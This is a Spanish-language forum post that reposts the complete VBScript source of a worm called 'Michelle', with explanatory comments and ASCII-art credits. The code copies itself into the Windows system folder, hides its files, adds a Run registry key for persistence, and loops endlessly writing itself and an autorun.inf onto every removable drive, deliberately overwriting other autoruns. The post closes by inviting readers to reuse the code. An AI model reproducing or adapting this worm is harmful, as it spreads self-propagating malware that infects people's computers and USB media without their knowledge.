Copia y pega de un gusano de elhacker.net:

Código:
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'     _____  .____________   ___ ______________.____    .____     ___________
'    /     \ |   \_   ___ \ /   |   \_   _____/|    |   |    |    \_   _____/
'   /  \ /  \|   /    \  \//    ~    \    __)_ |    |   |    |     |    __)_ 
'  /    Y    \   \     \___\    Y    /        \|    |___|    |___  |        \
'  \____|__  /___|\______  /\___|_  /_______  /|_______ \_______ \/_______  /
'          \/            \/       \/        \/         \/       \/        \/ 
'            ____ ____ _________ ____ ____ ____ ____ ____ ____ 
'          ||B |||Y |||       |||O |||C |||T |||A |||L |||H ||
'          ||__|||__|||_______|||__|||__|||__|||__|||__|||__||
'          |/__\|/__\|/_______\|/__\|/__\|/__\|/__\|/__\|/__\|
'
'     - w0rm: Michelle
'     - c0de: vbs
'     - ver: 1.0
'     - programer: OCTALH  octalh[at]gmail[dot]com
'     - Eres libre de modificar Y redistribuir este codigo siempre y cuando menciones
'       la fuente y el autor.
'
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
 
 
' [ Caracteristicas w0rm ]
 
' + Infeccion: Simple
' + propagacion: Medios extraibles
' + Permanencia en sistema: Simple
' + Peligrosidad: depende >_<
 
 
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'                     [  MODELO DE OBJETOS ]
 
Set fso = CreateObject("Scripting.FileSystemObject") ' ARCHIVOS
Set WshShell = WScript.CreateObject("WScript.Shell") ' REGISTRO
 
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'                     [  CONSTANTES  ]
 
w0rmname = WScript.ScriptName ' Indicamos que el nombre del gusano sera
                              ' el que tenga en ese momento el archivo actual.
w0rm = "gusano.vbs"
'Nombre del exe que tendra el gusano en el sistema
 
w0rmpatch = fso.GetSpecialFolder(1) & "\" & w0rm
'Indicamos el directorio donde se copiara el gusano, si utilizamos
'la funcion specialfolder podemos indicar el copiado a la carpeta del sistema (1)
'sin importar donde se encuentre.
 
autorun = fso.GetSpecialFolder(1) & "\autorun.txt" 
'lo mismo que en w0rmpatch pero para el autorrun.
 
w0rmusb = ":\TEM1000.exe" ' Nombre que tendra el gusano en el medio extraible
 
autorunusb = ":\autorun.inf" ' Nombre que tendra el autorun en el medio extraible
 
Const HKEY_LOCAL_MACHINE = &H80000002 'constante para modificar registro mas adelante
 
'#========================================================================================#
'                     [  CHEKEO DE INFECCION  ]
 
if not infeccion(w0rm) then copiar w0rmname, w0rmpatch end if
' si no encuentras w0rm entonces copia w0rm a la carpeta de sistema
    if not infeccion(autorun) then makeautorun() end if
     'si no encuentras autorun entonces crealo
          makeatributos()
          'Agrega atributos a cada archivo que compone al w0rm
 
 
'                     +  INFECTAR REGISTRO DE WINDOWS  +
 
 
If not keyexist("gusano", "Software\Microsoft\Windows\CurrentVersion\Run\", _ 
HKEY_LOCAL_MACHINE) then crearentradareg()
 
'Si no existe la llave en el registro llamada gusano entonces la crea, con esto aseguramos
'el arranque del gusano con cada inicio del sistema.
 
 
                          '===========================
                          ' ACTIVANDO LA PROPAGACION
                                  infekusb()
                          '===========================
 
 
'# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
 
 
'                                   TU MENSAJE A PROPAGAR
'                                           
 
'# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # 
 
 
'#========================================================================================#
 
'                     [  SUBPROCESOS Y FUNCIONES  ]
 
'+----------------------------------------------------------------------------------------+
'Funcion que hace un checkeo de un archivo cualquiera (zz)
'si existe devuelve un valor de falso o verdadero
 
function infeccion(zz)
    On Error Resume Next'<====Instruccion que se encarga de continuar con la ejecucion del
if fso.FileExists(zz) Then  '   script incluso si existiera algun error.
   infeccion = true
exit function
    else
   infeccion = false
exit function
end if
end function
'si encuentras un archivo (zz) entonces la funcion infeccion es verdadera de lo contrario 
'es falsa,( recuerda que zz se puede sustituir por cualquier archivo )
 
'+----------------------------------------------------------------------------------------+
'Funcion que se encarga de copiar un archivo(pp) a una ubicaccion(mm)
 
function copiar (pp,mm)
    On Error Resume Next
fso.CopyFile pp, mm, true
end function
 
'+----------------------------------------------------------------------------------------+
'Subproceso que se encarga crear un archivo y escribir datos en el
'en este caso le indicamos que cree un archivo con la constante autorun
'que definimos desde el principio
 
sub makeautorun()
    On Error Resume Next
set mkaut = fso.createtextfile(autorun, True) 'creamos un archivo con el nombre de
    mkaut.WriteLine "[AUTORUN]"                'la constante autorun
    mkaut.WriteLine "open=" & w0rmusb 'constante del nombre del ejecutable.
    mkaut.WriteLine "shell\1=abrir"
    mkaut.WriteLine "shell\1\Command=" & w0rmusb
    mkaut.WriteLine "shell\2\=explorar"
    mkaut.WriteLine "shell\2\Command=" & w0rmusb
    mkaut.WriteLine "shellexecute=" & w0rmusb
    mkaut.close
end sub
'aqui creamos el autorun que sirve para ejecutar el gusano cuando la victima de doble click
'en el icono de la unidad extraible
 
'+----------------------------------------------------------------------------------------+
'subproceso que se encarga de añadir atributos de oculto, sistema y solo lectura
'a cada archivo que compone al w0rm
 
sub makeatributos()
    On Error Resume Next
Dim archivosw0rm(1) 'array archivosw0rm que dentro de el contiene al gusano y su autorun
    archivosw0rm(0) = w0rmpatch
    archivosw0rm(1) = autorun
 
       for each file in archivosw0rm ' por cada archivo dentro del array archivosw0rm
         set wormcontent = fso.GetFile(file) 'tomalos y
            wormcontent.attributes = 7        'agregales atributos
              next
end sub
 
'+----------------------------------------------------------------------------------------+
'Funcion que se encarga de verificar que exista una llave en el registro
 
Function keyexist(keyname, keyPath, regCategory)
    On Error Resume Next
     retVal = false
     strComputer = "." 'inicamos en cualquier computadora
     Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
     strComputer & "\root\default:StdRegProv") 'se crea un objeto
 
     oReg.EnumKey regCategory, keyPath, arrSubKeys'partes de la clave del registro
 
     For Each subkey In arrSubKeys
          If keyname = subkey Then
               retVal = true
               Exit For
          End If
     Next
     keyExists = retVal
End Function
'esta funcion basicamente se encarga de verificar que existan los valores que introduzcamos
'en ella que son keyname, keypath y regcategory, de esa manera comprobamos que exista
'cualquier llave en el registro con solo usar la funcion keyexist y el valor de nuestra 
'llave a verficar
 
'+----------------------------------------------------------------------------------------+
'Subproceso que se encarga de crear la llave en el registro
private sub crearentradareg()
    On Error Resume Next
WshShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\gusano", _
w0rmpatch, "REG_SZ"
end sub
 
'+----------------------------------------------------------------------------------------+
'Subproceso que se encarga de copiar al gusano a una unidad extraible.
private sub infekusb()
    on error resume next
Const DriveTypeRemovable = 1 ' indicamos medio extraible
do ' inicia loop infinito
Set oFS = Wscript.CreateObject("Scripting.FileSystemObject")
Set oDrives = oFS.Drives 'declaramos todos los srivers
For Each Drive in oDrives 'por cada driver
    If Drive.DriveType = DriveTypeRemovable Then 'si son del tipo removible entonces
        If Drive.DriveLetter <> "A" Then ' si la letra es de A-Z entonces
            If fso.FileExists(Drive.DriveLetter + autorunusb) Then ' si existe autorun
               set cFile = fso.GetFile (Drive.DriveLetter + autorunusb)'tomalo y
               cFile.attributes = 0 ' quitale los atributos
               fso.CopyFile autorun, Drive.DriveLetter & autorunusb , true'despues copialo
           else' de lo contrario
      fso.CopyFile autorun, Drive.DriveLetter & autorunusb , true' copialo
   End if
fso.CopyFile w0rmpatch, Drive.DriveLetter & w0rmusb , true' copia el gusano a la unidad
End If
End If
Next
loop
end sub
'aqui es donde quiza tengas mas duda asi que te lo explicare paso por paso
'primero obtenemos todos los drivers(unidades) que el sistema pueda tener, despues
'verificamos que sean del tipo extraible, una ves verificado eso tomamos la letra de la
'unidad y luego hacemos un checkeo para ver si existe el autorun en dicha unidad
'si existe le quita los atributos de solo lectura para poder sobreescribirlo y hacer
'una copia desde el autorun que esta en el sistema, como el del sistema ya tiene
'atributos de oculto sistema y solo olectura al copiarlo se copia con los mismos atributos
'y no tenemos que volver a agregarcelos en el medio extraible.
 
'¿porque le quito los atributos en el medio extraible?
'porque se puede dar el caso en el que dicho medio extraible se encuentre infectado por
'otro gusano que no sea el nuestro y ya viene con su propio autorun, entonces asi nos
'aseguramos que nuestro gusano sera el vencedor hehe
 
'tambien aqui tenemos un loop interesante inicia con la frase do y termina en loop
'lo que estamos haciendo es un bucle condicional pero sin condicion y apuntado a un objeto
'de esta forma creamos un bucle infinito y el copiado del gusano sera
'practicamente al instante.
----------------------------------------------------------------------

Podemos extraer codigos de ese worm... No violamos el copyright...